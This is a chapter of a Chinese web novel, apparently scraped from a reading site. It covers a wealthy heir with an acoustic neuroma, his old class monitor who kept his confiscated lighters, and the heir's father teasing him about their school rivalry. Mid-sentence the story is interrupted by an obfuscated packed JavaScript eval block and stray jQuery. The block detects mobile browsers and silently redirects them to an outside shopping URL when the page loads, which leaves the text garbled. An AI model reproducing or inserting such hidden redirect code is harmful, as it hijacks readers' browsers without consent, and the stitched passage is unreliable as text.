默认冷灰
24号文字
方正启体

3. 被摸

作者:终晚夏本书字数:K更新时间:
    搜身持续了两分钟,结局是,闫芮醒抢走了烟和打火机,连嘴里的那根都不放过。


    一言不发过来,再一言不发离开。


    电梯来到八层,闻萧眠看着空荡荡的楼道,再低头看自己。


    领带被扯偏,纽扣开了三颗,衬衫拽出一半皱巴巴揉身上。自己那么整齐,却把我搞这么乱,还真是一点没变。


    闻萧眠乱糟糟上车时,助理郭浩吓坏了:“老板,您怎么了?”


    闻萧眠找他要了根烟,含着没点:“被人摸了。”


    话落下的瞬间,郭浩大脑高速旋转,柯南BGM回荡耳边。


    从老板表情来看,他很烦躁,甚至是生气,但身为合格助理,不仅要会察言观色,还要透过表象看本质。


    透过老板的表情、动作、神态,透过不收拾的衬衫和领带,还有嘴角挑起的0.287个毫米的像素点,带着一丝丝不易察觉的沾沾自喜和意犹未尽,我将得出结论。


    老板被摸了,但是……


    老板很快乐!


    郭浩清清喉咙:“老板,虽然不该这么说,但我感觉这事怪你。”


    闻萧眠皱眉,不爽。


    是要扣奖金的前兆。


    郭浩不急不慌:“全球82亿人口,他为什么只摸您?肯定是您的身材太迷人,您的形体太优美,您的胸肌腹肌肱二头肌,三角肌背阔肌人鱼肌都让他沉迷其中!”


    “老板你能赚钱,爱健身,长得帅,会打格斗,赛车还玩得那么厉害!老板的魅力,就算是男人都控制不住!”


    “他肯定太喜欢您、太欣赏您、太迷恋您了。他对您的情感,就如那滔滔江水,连绵……”


    闻萧眠从口袋里掏出药,边听他胡扯边把玩药盒。


    等对方口干舌燥,实在编不出来了,闻萧眠说:“这个月奖金加八百。”


    “谢谢老板!”


    郭浩发车,往闻家老宅开。


    闻萧眠习惯性捏额头,才意识头已经不疼了,是吃过药以后。


    在此之前,他一整天都不好受。应酬时,甚至出现了间歇性失聪,为了不被发现,闻萧眠只能通过口型识别内容,实在听不出,就用喝酒代替。


    难得脑袋清净,混着酒精,闻萧眠来了困意。


    刚睡五分钟,电话打进来。


    闻萧眠合着眼接通:“说。”


    “小闻总,给您联系了新加坡的专家,明天下午到,亲自来老宅。”


    “嗯。”


    沉默了几秒,任主任说:“小闻总,其实国内闫医生绝对是权威,您真不考虑?”


    闻萧眠右手举电话,左手一直摸着药盒:“不考虑。”


    *


    锦悦府三幢八楼。


    闫芮醒从冲出门到搜身,再到回房间,脑袋是空白的。过程太熟练了,完成得行云流水。


    当年,闫芮醒所在的一中是本地名校,学生们大多老实本分,唯独闻萧眠是稀缺的“异类”,也是为数不多需要搜身的人。


    闫芮醒把烟丢进垃圾桶,捏着打火机去书房。最下层抽屉多年未打开,闫芮醒从里面掏出个盒子,满满当当的打火机,全属于闻萧眠。


    初中两年,高中三年,闫芮醒平均每周没收两个,夸张时,一天能收仨。


    这些打火机,全为奢侈品牌,不乏限定款。习惯性的操作,闫芮醒拍了照片去官网搜价,挑了眉,再皱眉。


    说了句“纨绔”,闫芮醒将新没收的打火机摆进盒子,塞回抽屉里。


    这么贵的东西,他本打算毕业后如数归还,可错过了一次机会,小十年过去,再没找到下一次。


    抽屉合上又拉开,鬼使神差,闫芮醒拿出最新没收的打火机,凑到鼻尖嗅了下。


    除了烟草味,还有一股淡香。


    是闻萧眠的味道。


    特别的,无法形容的味道。


    划开手机,闫芮醒查看他偷拷贝的核磁报告,整夜未睡。


    而在闻家老宅,当夜却是闻萧眠睡得最舒服的一晚,整宿没阵痛,也没有头晕恶心的感觉。


    可惜家人不给他消停。


    远在意大利度假的爸妈,听到他确诊的消息连夜回国,风风火火冲进卧室。


    闻萧眠闷在被子里,听着父母爷爷的轮番心疼,一会儿苦一会儿愁,又是哭又是笑,还想把他的核磁报告裱成金框,并激烈探讨,是挂家门口还是顶爷爷脑袋上。


    折腾够了,再把他拽起来会见医生。


    闻萧眠昏昏沉沉,看着不远万里上门的老头子们,犹如身陷中老年相亲市场,生怕他们开口先问:介不介意不爱洗澡、没有医保、还人老珠黄。


    接下来的一周,中医西医赤脚医,国内国外国内外,差点把全世界翻了个底朝天。


    医生们满怀斗志进门,再擦着汗递还核磁单,不是建议保守治疗,就是颤巍巍说一句:“小、小闻总,祝您平安。”


    无比艰难的手术,过分罕见的病情,再加上他的家室,就算有重金做酬劳,敢接的人也屈指可数。


    他们做的不是手术,是把行走的人民币、美元、股票、金条倒进江河湖海,再绕太平洋转三百圈。


    以目前的医疗技术,就算成功剥离神经瘤,也没人能打包票保住面部神经,可偏偏闻萧眠的要求是保面。


    手术方案行不通,各路医生给出了保守方案,最高可延续十年寿命。


    吃过晚饭,卧室传来敲门声,闻爸爸站在门前:“还没睡?”


    闻萧眠瞥了眼时间:“现在是北京时间21点11 分。”


    闻爸爸坐床边:“医生不是让你早点睡。”


    “我连你的话都不听,会听他们的?”


    闻爸爸噎住:“你这混小子。”


    “想说什么就想说。”闻萧眠推开窗扇,掏出根烟正要点,“别跟我玩父子情深。”


    闻爸爸夺走烟和打火机:“少抽点,姑娘都不喜欢这样的。”


    “我都半条命了,您还等着我传宗接代呢。”


    “你这小子什么都沾,怎么就没见你沾女色?”闻爸爸说,“别人家的少爷十几岁就能当爹,你都二十好几了,还跟看破红尘似的。”


    没烟抽,闻萧眠有点难受,拆了条口香糖:“造孩子有什么好玩的。”


    “你小子不会喜欢男人吧?”


    “您儿子日子都倒数了,就盼我点积极阳光正能量吧。”


    闻爸爸低笑:“看来,当年把你转入公立学校的决策很正确,没染上恶习。”


    商界富家子弟大多就读国际学校,高中或大学出国镀金,毕业回国继承家业。


    起初,闻萧眠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317344|198978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也是这样的规划,混迹阔少爷圈,成日纸醉金迷。初二那年,父母忍痛将其转到了东隅一中,严格管理,做普通学生,洗去满身少爷气。


    闻爸爸回忆:“你那几年,可没少给学校添乱。”


    “你怎么不说,靠着我,学校还走上致富之路呢。”


    闻萧眠转学第一天,是染着“奶奶灰”来的,校服不穿,大摇大摆。


    闹不住他人刚来,闻家就给学校捐了栋楼,送书、拨款更是家常便饭。五年时间,大到设备器材,小到笤帚抹布,换过好几轮。


    有这样一位金主,校长脸都笑歪了。虽然闻萧眠没少干操蛋事,但闹不住他性格好,人又大方,也不仗着有钱有势欺负同学,不出俩礼拜,便和同学们打成一片。


    当然,这里总有意外。五年间,仍有一人对他从里到外,字里行间的讨厌。


    “我记得那会儿,你们班的小班长一直管你很严格,叫什么来着?”


    闻爸爸说着,转头往床头贴着的班级排名单上找。


    上下扫了好几圈,见他还没找到,闻萧眠撑着下巴:“第一个。”


    闻爸爸视线上挪:“闫芮醒?”


    闻萧眠散淡“嗯”了一声。


    “你俩名字还挺般配。”


    “您儿子还没死,也麻烦爹别当活阎王行吗?”


    这话让闫芮醒听到了,他能掏出手术刀,沿一中操场追着他和他爸跑三十八圈,砍完三十八刀还要再补六刀凑吉个利数字。


    闻爸爸细看闫芮醒的初二期末成绩单。


    数学:100,语文:94,英语:99,物理:100,生物:100,政治:98,历史:96,地理:99。


    班级第一,年级第一。


    闻爸爸翻了好几圈,终于在最后一行找到了儿子的成绩。


    数学:1,语文:1,英语:1,物理:1,生物:1,政治:1,历史:1,地理:1。


    刻意又猎奇的分数,除了能给强迫症带来一丝慰藉,获取不到任何愉悦感。


    “你又交白卷?”闻爸爸合理怀疑,这一分是老师给儿子写名的辛苦分。


    “没,每个字都写了。”


    闻爸爸吐槽:“闭眼瞎划拉都比这分高。”


    闻萧眠还挺得意:“考第一多没劲,每个题都写,还能考出这分才是实力。”


    闻爸爸过来摸他额头:“难不成你的听神经瘤是并发症?小时候脑子就不行了?”


    闻萧眠拽掉爸爸的手:“为了气闫芮醒。”


    “好端端的,你气小班长干什么?”


    “他不高兴,我就开心了。”


    “你幼不幼稚?”


    “当年才十四岁,我不幼稚谁幼稚。”


    那段时间,学校评选优秀班级,期末成绩影响评比。闫芮醒作为班长,责任心和荣誉感极强,放学自发留大家补习,听写单词,背公式定理。


    为了集体荣誉,闻萧眠也被迫留校。憋了两个月的火没处撒,就故意考一分。终于“不负众望”,让优秀班级失之交臂。


    闻爸爸无法理解,也想不明白,儿子当年智商正常,也没病没灾,怎么会讨厌成这样。


    琢磨了几分钟,闻爸爸灵光一闪,豁然开朗:“噢,我知道了!”


    “你暗恋小班长!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)